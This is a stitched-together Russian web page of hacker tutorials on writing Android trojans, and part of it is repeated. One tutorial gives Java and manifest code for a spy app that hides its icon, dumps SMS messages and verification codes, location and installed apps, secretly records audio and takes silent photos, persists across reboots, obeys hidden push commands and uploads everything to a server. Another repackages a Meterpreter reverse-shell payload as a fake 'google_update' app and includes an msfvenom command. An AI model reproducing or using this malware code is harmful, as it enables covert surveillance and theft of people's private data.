Троян на телефон как написать

Как создать троян для Андроид

Содержание

  • 1 Как написать троян на Андроид
    • 1.1 Каркас
    • 1.2 Информация о местоположении
    • 1.3 Список установленных приложений
    • 1.4 Дамп СМС
    • 1.5 Скрытая запись аудио
    • 1.6 Скрытая съемка
    • 1.7 Складываем все вместе
    • 1.8 Задания по расписанию
    • 1.9 Снимок при включении экрана
    • 1.10 Запуск при загрузке
    • 1.11 Запись аудио по команде
    • 1.12 Отправка данных на сервер
  • 2 Выводы

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Еще по теме: Как вирусы попадают в Google Play Market

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.


Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<usespermission android:name=«android.permission.ACCESS_COARSE_LOCATION»/>

<usespermission android:name=«android.permission.ACCESS_FINE_LOCATION» />

<usespermission android:name=«android.permission.INTERNET» />

<usespermission android:name=«android.permission.CAMERA» />

<usespermission android:name=«android.permission.RECORD_AUDIO» />

<usespermission android:name=«android.permission.RECEIVE_BOOT_COMPLETED»/>

<usespermission android:name=«android.permission.READ_PHONE_STATE» />

<usespermission android:name=«android.permission.PROCESS_OUTGOING_CALLS» />

<usespermission android:name=«android.permission.READ_CONTACTS» />

<usespermission android:name=«android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

    android:name=«com.example.app.MainActivity»

    android:label=«@string/app_name» >

    <intentfilter>

        <action android:name=«android.intent.action.MAIN» />

        <category android:name=«android.intent.category.LAUNCHER» />

    </intentfilter>

</activity>

<service

    android:name=«com.example.app.MainService»

    android:enabled=«true»

    android:exported=«false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState)

    // Запускаем сервис

    startService(new Intent(this, MainService.class));

    // Отключаем Activtiy

    ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Location getLastLocation(Context context) {

    LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

    android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;

    if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

    long NetLocationTime = 0;

    if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

    Location loc;

    if ( 0 < GPSLocationTime NetLocationTime ) {

        loc = locationGPS;

    } else {

        loc = locationNet;

    }

    if (loc != null) {

        return loc;

    } else {

        return null;

    }

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

    outputStreamWriter.write(loc.getLatitude() + » « + loc.getLongitude);

    outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

void dumpSMS(Context context) {

    String appsFile = context.getApplicationInfo().dataDir + «/apps»

    final PackageManager pm = context.getPackageManager();

    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

    try {

        PrintWriter pw = Files.writeLines(appsFile);

        for (ApplicationInfo packageInfo : packages) {

            if (!isSystemPackage(packageInfo))

                pw.println(pm.getApplicationLabel(packageInfo) + «: « + packageInfo.packageName);

        }

        pw.close();

    } catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

void dumpSMS(Context context, String file, String box) {

    SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

    Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

    try {

        PrintWriter pw = Files.writeLines(file);

        if (cursor != null && cursor.moveToFirst()) {

            do {

                String address = null;

                String date = null;

                String body = null;

                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

                    switch (cursor.getColumnName(idx)) {

                        case «address»:

                            address = cursor.getString(idx);

                            break;

                        case «date»:

                            date = cursor.getString(idx);

                            break;

                        case «body»:

                            body = cursor.getString(idx);

                    }

                }

                if (box.equals(«inbox»)) {

                    pw.println(«From: « + address);

                } else {

                    pw.println(«To: « + address);

                }

                String dateString = formatter.format(new Date(Long.valueOf(date)));

                pw.println(«Date: « + dateString);

                if (body != null) {

                    pw.println(«Body: « + body.replace(‘n’, ‘ ‘));

                } else {

                    pw.println(«Body: «);

                }

                pw.println();

            } while (cursor.moveToNext());

        }

        pw.close();

        cursor.close();

    } catch (Exception e) {}

}

Использовать его следует так:

// Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

// Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2017.02.24 06:49:55

Body: G732583 is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

void recordAudio(String file, final int time) {

    MediaRecorder recorder = new MediaRecorder();

    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    recorder.setOutputFile(file);

    try {

        recorder.prepare();

    } catch (IOException e) {}

    recorder.start();

    Thread timer = new Thread(new Runnable() {

        @Override

        public void run() {

            try {

                Thread.sleep(time * 1000);

            } catch (InterruptedException e) {

                Log.d(TAG, «timer interrupted»);

            } finally {

                recorder.stop();

                recorder.release();

            }

        }

    });

    timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.3gp», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

public class SilentCamera2 {

    private Context context;

    private CameraDevice device;

    private ImageReader imageReader;

    private CameraCaptureSession session;

    private SurfaceTexture surfaceTexture;

    private CameraCharacteristics characteristics;

    private Surface previewSurface;

    private CaptureRequest.Builder request;

    private Handler handler;

    private String photosDir;

    public SilentCamera2(Context context) {

        this.context = context;

    }

    private final CameraDevice.StateCallback mStateCallback =

            new CameraDevice.StateCallback() {

        @Override

        public void onOpened(CameraDevice cameraDevice) {

            device = cameraDevice;

            try {

                surfaceTexture = new SurfaceTexture(10);

                previewSurface = new Surface(surfaceTexture);

                List<Surface> surfaceList = new ArrayList<>();

                surfaceList.add(previewSurface);

                surfaceList.add(imageReader.getSurface());

                cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

            } catch (Exception e) {

            }

        }

        @Override

        public void onDisconnected(CameraDevice cameraDevice) {

        }

        @Override

        public void onError(CameraDevice cameraDevice, int error) {

        }

    };

    private CameraCaptureSession.StateCallback mCaptureStateCallback =

            new CameraCaptureSession.StateCallback() {

                @Override

                public void onConfigured(CameraCaptureSession captureSession) {

                    session = captureSession;

                    try {

                        request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

                        request.addTarget(previewSurface);

                        request.set(CaptureRequest.CONTROL_AF_TRIGGER,

                            CameraMetadata.CONTROL_AF_TRIGGER_START);

                        captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

                    } catch (Exception e) {

                    }

                }

                @Override

                public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

            };

    private CameraCaptureSession.CaptureCallback mCaptureCallback =

            new CameraCaptureSession.CaptureCallback() {

        @Override

        public void onCaptureCompleted(CameraCaptureSession session,

                                     CaptureRequest request,

                                     TotalCaptureResult result) {

        }

    };

    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

            new ImageReader.OnImageAvailableListener() {

        @Override

        public void onImageAvailable(ImageReader reader) {

            DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

            Date date = new Date();

            String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

            File file = new File(filename);

            Image image = imageReader.acquireLatestImage();

            try {

                ByteBuffer buffer = image.getPlanes()[0].getBuffer();

                byte[] bytes = new byte[buffer.remaining()];

                buffer.get(bytes);

                OutputStream os = new FileOutputStream(file);

                os.write(bytes);

                image.close();

                os.close();

            } catch (Exception e) {

                e.getStackTrace();

            }

            closeCamera();

        }

    };

    private void takePicture() {

        request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

        request.addTarget(imageReader.getSurface());

        try {

            session.capture(request.build(), mCaptureCallback, handler);

        } catch (CameraAccessException e) {

        }

    }

    private void closeCamera() {

        try {

            if (null != session) {

                session.abortCaptures();

                session.close();

                session = null;

            }

            if (null != device) {

                device.close();

                device = null;

            }

            if (null != imageReader) {

                imageReader.close();

                imageReader = null;

            }

            if (null != surfaceTexture) {

                surfaceTexture.release();

            }

        } catch (Exception e) {

        }

    }

    public boolean takeSilentPhoto(String cam, String dir) {

        photosDir = dir;

        int facing;

        switch (cam) {

            case «front»:

                facing = CameraCharacteristics.LENS_FACING_FRONT;

                break;

            case «back»:

                facing = CameraCharacteristics.LENS_FACING_BACK;

                break;

            default:

                return false;

        }

        CameraManager manager = (CameraManager)

                context.getSystemService(Context.CAMERA_SERVICE);

        String cameraId = null;

        characteristics = null;

        try {

            for (String id : manager.getCameraIdList()) {

                characteristics = manager.getCameraCharacteristics(id);

                Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

                if (currentFacing != null && currentFacing == facing) {

                    cameraId = id;

                    break;

                }

            }

        } catch (Exception e) {

            return false;

        }

        HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

        handlerThread.start();

        handler = new Handler(handlerThread.getLooper());

        imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

        imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

        try {

            manager.openCamera(cameraId, mStateCallback, handler);

            // Ждем фокусировку

            Thread.sleep(1000);

            takePicture();

        } catch (Exception e) {

            Log.d(TAG, «Can’t open camera: « + e.toString());

            return false;

        }

        return true;

    }

    private int getOrientation() {

        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

        int rotation = wm.getDefaultDisplay().getRotation();

        int deviceOrientation = 0;

        switch(rotation){

            case Surface.ROTATION_0:

                deviceOrientation = 0;

                break;

            case Surface.ROTATION_90:

                deviceOrientation = 90;

                break;

            case Surface.ROTATION_180:

                deviceOrientation = 180;

                break;

            case Surface.ROTATION_270:

                deviceOrientation = 270;

                break;

        }

        int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

        deviceOrientation = (deviceOrientation + 45) / 90 * 90;

        boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

        if (facingFront) deviceOrientation = deviceOrientation;

        return (sensorOrientation + deviceOrientation + 360) % 360;

    }

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Еще по теме: Как создать RAT для Android

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

    public static void set(Context context) {

        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

        Intent intent = new Intent(context, Alarm.class);

        PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

        am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

    }

    @Override

    public void onReceive(Context context, Intent intent) {

        // Твой код здесь

    }

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        // Ваш код здесь

    }

}

И добавьте в манифест следующие строки:

<receiver android:name=«com.example.app.ScreenOnReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.ACTION_SCREEN_ON» />

    </intentfilter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        Intent serviceIntent = new Intent(this, MainService.class);

        startService(serviceIntent);

    }

}

И опять же добавим его в манифест:

<receiver android:name=«com.example.BootReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.BOOT_COMPLETED» />

    </intentfilter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «http://example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

    Response response = client.newCall(request).execute();

    String cmd = response.body().string();

    cmd = cmd.trim()

    if (cmd.equals(«record»)) {

        // Делаем аудиозапись

    }

    try {

        Thread.sleep(60 * 1000);

    } catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

    @Override

    public void onCreate() {

        super.onCreate()

        OneSignal.startInit(this).init()

    }

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

    @Override

    protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

        String cmd = receivedResult.payload.body.trim()

        if (cmd.equals(«record»)) {

            // Делаем аудиозапись

        }

        // Не показывать уведомление

        return true

    }

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

    android:name=«org.antrack.app.service.OSService»

    android:exported=«false»>

    <intentfilter>

        <action android:name=«com.onesignal.NotificationExtender» />

    </intentfilter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

    OkHttpClient client = new OkHttpClient();

    RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

        .addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

        .build();

    Request request = new Request.Builder().url(«http://com.example.com/upload»)

        .post(requestBody).build();

    Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду!  Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Еще по теме: Где скачать вирусы

Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!

Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.

Что нам понадобится:

Android Studio и Android SDK офф_сайт(

Ссылка скрыта от гостей

)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео

Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как

1.png

2.png

это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) — это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.

3.png

На этом подготовительный этап завершен
Подключить genymotion к Android Studio
Подключить реальный смартфон к Android Studio

Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.

4.png

Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку backdooredapk где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.

5.png

Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)

6.png

Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )

7.png

Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)

8.png

9.png

Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)

10.png

11.png

Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)

12.jpg

13.jpg

Скопируем разрешение с манифеста в наш проект

14.png

15.png

Далее осталось подписать наше приложения.

16.png

17.png

Подписали) Ну что ж давайте протестим.))

18.png

19.jpg

20.jpg

21.jpg

22.jpg

На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.

Listen to this article

Как написать троян на Андроид?

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<uses-permission android:name=»android.permission.ACCESS_COARSE_LOCATION»/>

<uses-permission android:name=»android.permission.ACCESS_FINE_LOCATION» />

<uses-permission android:name=»android.permission.INTERNET» />

<uses-permission android:name=»android.permission.CAMERA» />

<uses-permission android:name=»android.permission.RECORD_AUDIO» />

<uses-permission android:name=»android.permission.RECEIVE_BOOT_COMPLETED»/>

<uses-permission android:name=»android.permission.READ_PHONE_STATE» />

<uses-permission android:name=»android.permission.PROCESS_OUTGOING_CALLS» />

<uses-permission android:name=»android.permission.READ_CONTACTS» />

<uses-permission android:name=»android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

android:name=»com.example.app.MainActivity»

android:label=»@string/app_name» >

<intent-filter>

<action android:name=»android.intent.action.MAIN» />

<category android:name=»android.intent.category.LAUNCHER» />

</intent-filter>

</activity>

<service

android:name=»com.example.app.MainService»

android:enabled=»true»

android:exported=»false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState)

  • Запускаем сервис

startService(new Intent(this, MainService.class));

  • Отключаем Activtiy

ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

